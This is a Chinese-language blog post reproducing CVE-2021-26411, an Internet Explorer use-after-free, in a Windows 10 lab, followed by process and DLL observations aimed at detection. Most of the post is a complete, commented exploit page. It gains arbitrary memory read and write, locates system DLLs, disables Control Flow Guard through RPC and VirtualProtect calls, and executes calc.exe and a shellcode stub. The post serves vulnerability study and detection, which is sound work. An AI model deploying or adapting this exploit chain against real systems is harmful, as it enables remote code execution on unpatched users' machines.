windows 10下复现CVE-2021-26411漏洞和检测分析

CVE-2021-26411复现,学习JavaScript之POC源码分析

概述

CVE-2021-26411,该漏洞的原因:removeAttributeNode()触发属性对象nodeValue的valueOf回调,回调期间手动调用clearAttributes(),导致nodeValue保存的BSTR被提前释放。回调返回后,没有检查nodeValue是否存在继续使用该对象,最终导致UAF(Use After Free)

参考分析链接

国内链接

CVE-2021-26411在野样本中利用RPC绕过CFG缓解技术的研究 (qq.com)

IE浏览器在野0Day CVE-2021-26411漏洞分析 (qq.com)

原作者链接

https://enki.co.kr/blog/2021/02/04/ie_0day.html

平台环境

Win10 1809 17763  ==》 下载地址:https://hellowindows.cn/

商业-批量版 64位 2019-09-17 发布

Windows 10 (business editions), version 1809 (updated Sept 2019) (x64) - DVD (Chinese-Simplified)

ED2K


文件:cn_windows_10_business_editions_version_1809_updated_sept_2019_x64_dvd_f873d037.iso  我是下载的这个版本复现
大小:5.07GB
SHA1:975f1b3acbeece56b5ad1526345a0657109f4043

 

VmWare 16.1.1 build-17801498

复现效果展示

 

POC源码

<!-- IE Double Free 1Day Poc -->
<!doctype html>
<html lang="zh-cmn-Hans">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">

// 重复字符串
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

function pad0(str) {
    // 提取倒数第四个字符开始的字符串,效果就是补0
    return ('0000' + str).slice(-4)
}

// Access of Resource Using Incompatible Type ('Type Confusion')
function alloc1() {
    // DataView 视图是一个可以从 二进制ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    // 创建并返回一个新的属性节点
    var result = document.createAttribute('alloc')
    // 对escape()编码的字符串进行解码
    result.nodeValue = unescape(str)
    return result
}

function alloc2() {
    // 创建字典对象
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    // 增加新项,dic.add(key,value)
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, arr)
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}

function dump(nv) {
    // ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。
    // 创建一个0x20010字节的缓冲区,并使用一个 DataView 来引用它
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}

// 在原型对象上定义属性
function Data(type, value) {
    this.type = type
    this.value = value
}

function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}

function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    // 返回调用该方法的节点的一个副本.
    hd2 = hd1.cloneNode()
}

// 小端序读取
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            // getUint16(byteOffset [, littleEndian])
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}

function writeData(addr, data) {
    for (var i = 0; i < data.length; ++i)
        write(addr + i, data[i], 8)
}

function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}

function strcmp(str1, str2) {
    // typeof 操作符返回一个字符串,表示未经计算的操作数的类型。
    str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
    str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
    return str1.toLowerCase() == str2.toLowerCase()
}

function memcpy(dst, src, size) {
    for (var i = 0; i < size; ++i)
        write(dst + i, read(src + i, 8), 8)
}

function toStr(addr) {
    var str = ''
    while (true) {
        var c = read(addr, 8)
        // 遇到终结符就退出循环
        if (c == 0) break
        // 返回由指定的 UTF-16 代码单元序列创建的字符串
        str += String.fromCharCode(c)
        addr++
    }
    return str
}

function newStr(str) {
    var buffer = createArrayBuffer(str.length + 1)
    for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
    // 写入字符串终结符
    write(buffer + i, 0, 8)
    return buffer
}
// PE文件相关操作函数
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}

function isPE(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}

function winVer() {
    // 返回浏览器的平台和版本信息
    var appVersion = window.navigator.appVersion
    var ver = 0
    // 检测一个字符串是否匹配某个模式,javaScript正则表达式
    if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
        ver = 100
    } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
        ver = 81
    } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
        ver = 80
    } else {
        ver = 70
    }
    return ver
}

function createArrayBuffer(size) {
    var ab = new ArrayBuffer(size)
    var bs = read(addrOf(ab) + 0x1c, 32)
    // 设置键值对
    map.set(bs, ab)
    return bs
}

function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}

function readyRpcCall(func) {
    var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
    var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
    var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
    write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}

function setArgs(args) {
    var buffer = createArrayBuffer(48)
    for (var i = 0; i < args.length; ++i) {
        write(buffer + i * 4, args[i], 32)
    }
    _RPC_MESSAGE.set(msg, 'Buffer', buffer)
    _RPC_MESSAGE.set(msg, 'BufferLength', 48)
    _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
    return buffer
}

function callRpcFreeBufferImpl() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
    return call(rpcFree)
}

function callRpcFreeBuffer() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    var result = read(buffer, 32)
    callRpcFreeBufferImpl()
    return result
}

function call2(func, args) {
    readyRpcCall(func)
    var buffer = setArgs(args)
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}

function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    // 错误处理
    try {
        // rpcrt4!NdrServerCall2
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}

function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)
    memcpy(addr, patt, cbase.size())
    memcpy(buf, vft, cattr.size())
    cbase.set(addr, 'pvftable', buf)
    cattr.set(buf, 'normalize', func)
}

function createBase() {
    var isWin7 = winVer() == 70
    var size = isWin7 ? 560 : 572
    var offset = isWin7 ? 540 : 548
    var addr1 = createArrayBuffer(size + cbase.size())
    var addr2 = createArrayBuffer(48)
    write(addr1 + offset, addr2, 32)
    write(addr2 + 40, 8, 32)
    write(addr2 + 36, 8, 32)
    return {
        size: size,
        addr: addr1
    }
}

function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}

// 自定义结构体的操作
function SymTab(size, sym) {
    this.size = function() {
        return size
    }
    this.set = function(addr, name, value) {
        var o = sym[name]
        write(addr + o.offset, value, o.size)
    }
    this.get = function(addr, name) {
        var o = sym[name]
        return read(addr + o.offset, o.size)
    }
}

// 构造RPC
function initRpc() {
    var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
    var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
    var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
    var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
    var RPCMessageObject = createArrayBuffer(cbase.size())
    var buffer = createArrayBuffer(0x100)
    var buffer2 = createArrayBuffer(0x200)
    var AttributeVtable = read(patt, 32)
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
    var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
    var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
    var rpcProcStringBuffer = createArrayBuffer(data.length)
    writeData(rpcProcStringBuffer, data)
    var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
    var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
    var NdrServerCall2Buffer = createArrayBuffer(4)
    write(NdrServerCall2Buffer, NdrServerCall2, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 0x40, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
    write(RPCMessageObject + 76, 1, 32)
    syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
    _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
    return RPCMessageObject
}

function rpcFree() {
    var Cbase = createArrayBuffer(cbase.size())
    var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var AttributeVtable = read(patt, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 64, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
    cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
    cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
    write(Cbase + 76, 1, 32)
    return Cbase
}

function CFGObject(baseAddress) {
    var PEAddr = isPE(baseAddress)
    var eat = PEAddr + 120
    var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
    var size = read(LOAD_CONFIG_DIRECTORY, 32)
    var sizeOfImage = read(PEAddr + 0x50, 32)
    var CFGSymbolTable = new SymTab(0x5c, {
        '___guard_check_icall_fptr': {
            offset: 72,
            size: 32
        }
    })

    var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
    this.getCFGAddress = function() {
        return guard_check_icall_fptr_address
    }
    this.getCFGValue = function() {
        if (size < CFGSymbolTable.size()) return false
        var currentCFGValue = read(guard_check_icall_fptr_address, 32)
        var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
        return !isValidAddress;
    }
}

function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
    // 关闭rpcrt4的CFG检查
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    // 恢复PRCRT4!__gurad_check_icall_fptr内存属性
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}

// {} 表示对象
// 属性:属性值
var cbase = new SymTab(0x60, {
    'pvftable': {
        offset: 0x0,
        size: 32
    },
    'pSecurityContext': {
        offset: 0x44,
        size: 32
    }
})

var cattr = new SymTab(0x32c, {
    '__vtguard': {
        offset: 0x48,
        size: 32
    },
    'SecurityContext': {
        offset: 0xc8,
        size: 32
    },
    'JSBind_TypeId': {
        offset: 0x160,
        size: 32
    },
    'JSBind_InstanceOf': {
        offset: 0x164,
        size: 32
    },
    'normalize': {
        offset: 0x28c,
        size: 32
    }
})

var syntaxObject = new SymTab(0x14, {
    'SyntaxVersion.MajorVersion': {
        offset: 0x10,
        size: 16
    }
})

var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
    'Length': {
        offset: 0,
        size: 32
    },
    'InterfaceId.SyntaxVersion.MajorVersion': {
        offset: 20,
        size: 16
    },
    'TransferSyntax.SyntaxVersion.MajorVersion': {
        offset: 40,
        size: 16
    },
    // 保存了runtime库和Stub函数的接口指针
    'DispatchTable': {
        offset: 44,
        size: 32
    },
    // 指向MIDL_SERVER_INFO结构
    'InterpreterInfo': {
        offset: 60,
        size: 32
    },
    'Flags': {
        offset: 64,
        size: 32
    }
})

// 保存了服务端IDL接口信息
var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
    'pStubDesc': {
        offset: 0,
        size: 32
    },
    // 保存了服务端提供的远程调用例程的函数指针数组
    'DispatchTable': {
        offset: 4,
        size: 32
    },
    'ProcString': {
        offset: 8,
        size: 32
    },
    'FmtStringOffset': {
        offset: 12,
        size: 32
    }
})

var _MIDL_STUB_DESC = new SymTab(0x50, {
    'RpcInterfaceInformation': {
        offset: 0,
        size: 32
    },
    'pfnAllocate': {
        offset: 4,
        size: 32
    },
    'pfnFree': {
        offset: 8,
        size: 32
    },
    'pFormatTypes': {
        offset: 32,
        size: 32
    },
    'fCheckBounds': {
        offset: 36,
        size: 32
    },
    'Version': {
        offset: 40,
        size: 32
    },
    'MIDLVersion': {
        offset: 48,
        size: 32
    },
    'mFlags': {
        offset: 64,
        size: 32
    }
})

var RPC_DISPATCH_TABLE = new SymTab(12, {
    'DispatchTableCount': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
})

var _RPC_MESSAGE = new SymTab(0x2c, {
    'Handle': {
        offset: 0,
        size: 32
    },
    'DataRepresentation': {
        offset: 4,
        size: 32
    },
    // 存放函数的参数
    'Buffer': {
        offset: 8,
        size: 32
    },
    'BufferLength': {
        offset: 12,
        size: 32
    },
    'TransferSyntax': {
        offset: 20,
        size: 32
    },
    // 指向RPC_SERVER_INTERFACE 
    'RpcInterfaceInformation': {
        offset: 24,
        size: 32
    },
    'RpcFlags': {
        offset: 40,
        size: 32
    }
})

var god
// 对象数组
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
// 创建一个HTML 属性对象
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
// 创建一个HTML 元素对象
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        // 回调时,清除ele对象绑定的所有属性
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// 触发valueof函数回调
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)

var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)

// 调用API,弹出计算器
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])

// 调用shellcode
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
// 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
alert(result.toString(16))

</script>
</body>
</html>

 

注意细节:我是本地保存html,然后打开复现的,

C:\Users\bonelee\Desktop\1809.html

 

 

如果是放在服务器下运行然后访问,则不会弹出计算器。但是会有弹窗,如下:

 

我们使用proc exp采集下数据:

可以看到ie并没有calc的自进程!从其加载的dll里,可以看到有mshtml.dll!

 

 可以看到是svchost出来的。

 

 我们重点看下ie加载的dll清单:

Process: iexplore.exe Pid: 2280

Name	Description	Company Name	Path
{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db			C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db
{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db			C:\Users\bonelee\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db
{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db			C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db
advapi32.dll	Advanced Windows 32 Base API	Microsoft Corporation	C:\Windows\SysWOW64\advapi32.dll
apphelp.dll	应用程序兼容性客户端库	Microsoft Corporation	C:\Windows\SysWOW64\apphelp.dll
bcrypt.dll	Windows Cryptographic Primitives Library (Wow64)	Microsoft Corporation	C:\Windows\SysWOW64\bcrypt.dll
bcryptprimitives.dll	Windows Cryptographic Primitives Library	Microsoft Corporation	C:\Windows\SysWOW64\bcryptprimitives.dll
C_1252.NLS			C:\Windows\System32\C_1252.NLS
cfgmgr32.dll	Configuration Manager DLL	Microsoft Corporation	C:\Windows\SysWOW64\cfgmgr32.dll
clbcatq.dll	COM+ Configuration Catalog	Microsoft Corporation	C:\Windows\SysWOW64\clbcatq.dll
combase.dll	Microsoft COM for Windows	Microsoft Corporation	C:\Windows\SysWOW64\combase.dll
comctl32.dll	用户体验控件库	Microsoft Corporation	C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.737_none_588eeadb78ace734\comctl32.dll
comctl32.dll	用户体验控件库	Microsoft Corporation	C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.737_none_4d637a531b9a7e51\comctl32.dll
comdlg32.dll	Common Dialogs DLL	Microsoft Corporation	C:\Windows\SysWOW64\comdlg32.dll
coml2.dll	Microsoft COM for Windows	Microsoft Corporation	C:\Windows\SysWOW64\coml2.dll
CoreMessaging.dll	Microsoft CoreMessaging Dll	Microsoft Corporation	C:\Windows\SysWOW64\CoreMessaging.dll
CoreUIComponents.dll	Microsoft Core UI Components Dll	Microsoft Corporation	C:\Windows\SysWOW64\CoreUIComponents.dll
crypt32.dll	Crypto API32	Microsoft Corporation	C:\Windows\SysWOW64\crypt32.dll
cryptbase.dll	Base cryptographic API DLL	Microsoft Corporation	C:\Windows\SysWOW64\cryptbase.dll
cryptsp.dll	Cryptographic Service Provider API	Microsoft Corporation	C:\Windows\SysWOW64\cryptsp.dll
cversions.2.db			C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
cversions.2.db			C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
d2d1.dll	Microsoft D2D Library	Microsoft Corporation	C:\Windows\SysWOW64\d2d1.dll
d3d11.dll	Direct3D 11 Runtime	Microsoft Corporation	C:\Windows\SysWOW64\d3d11.dll
DataExchange.dll	Data exchange	Microsoft Corporation	C:\Windows\SysWOW64\DataExchange.dll
dcomp.dll	Microsoft DirectComposition Library	Microsoft Corporation	C:\Windows\SysWOW64\dcomp.dll
directmanipulation.dll	Microsoft Direct Manipulation Component	Microsoft Corporation	C:\Windows\SysWOW64\directmanipulation.dll
dwmapi.dll	Microsoft Desktop Window Manager API	Microsoft Corporation	C:\Windows\SysWOW64\dwmapi.dll
DWrite.dll	Microsoft DirectX Typography Services	Microsoft Corporation	C:\Windows\SysWOW64\DWrite.dll
dxgi.dll	DirectX Graphics Infrastructure	Microsoft Corporation	C:\Windows\SysWOW64\dxgi.dll
efswrt.dll	Storage Protection Windows Runtime DLL	Microsoft Corporation	C:\Windows\SysWOW64\efswrt.dll
gdi32.dll	GDI Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\gdi32.dll
gdi32full.dll	GDI Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\gdi32full.dll
ieapfltr.dll	Microsoft SmartScreen Filter	Microsoft Corporation	C:\Windows\SysWOW64\ieapfltr.dll
ieframe.dll	Internet 浏览器	Microsoft Corporation	C:\Windows\SysWOW64\ieframe.dll
ieframe.dll.mui	Internet 浏览器	Microsoft Corporation	C:\Windows\System32\zh-CN\ieframe.dll.mui
ieproxy.dll	IE ActiveX Interface Marshaling Library	Microsoft Corporation	C:\Windows\SysWOW64\ieproxy.dll
iertutil.dll	Internet Explorer 的运行时实用程序	Microsoft Corporation	C:\Windows\SysWOW64\iertutil.dll
IEShims.dll	Internet Explorer Compatibility Shims	Microsoft Corporation	C:\Program Files (x86)\Internet Explorer\IEShims.dll
ieui.dll	Internet Explorer UI 引擎	Microsoft Corporation	C:\Windows\SysWOW64\ieui.dll
iexplore.exe	Internet Explorer	Microsoft Corporation	C:\Program Files (x86)\Internet Explorer\iexplore.exe
iexplore.exe.mui	Internet Explorer	Microsoft Corporation	C:\Program Files\internet explorer\zh-CN\iexplore.exe.mui
imageres.dll	Windows Image Resource	Microsoft Corporation	C:\Windows\SysWOW64\imageres.dll
imageres.dll.mui	Windows Image Resource	Microsoft Corporation	C:\Windows\System32\en-US\imageres.dll.mui
imm32.dll	Multi-User Windows IMM32 API Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\imm32.dll
IPHLPAPI.DLL	IP Helper API	Microsoft Corporation	C:\Windows\SysWOW64\IPHLPAPI.DLL
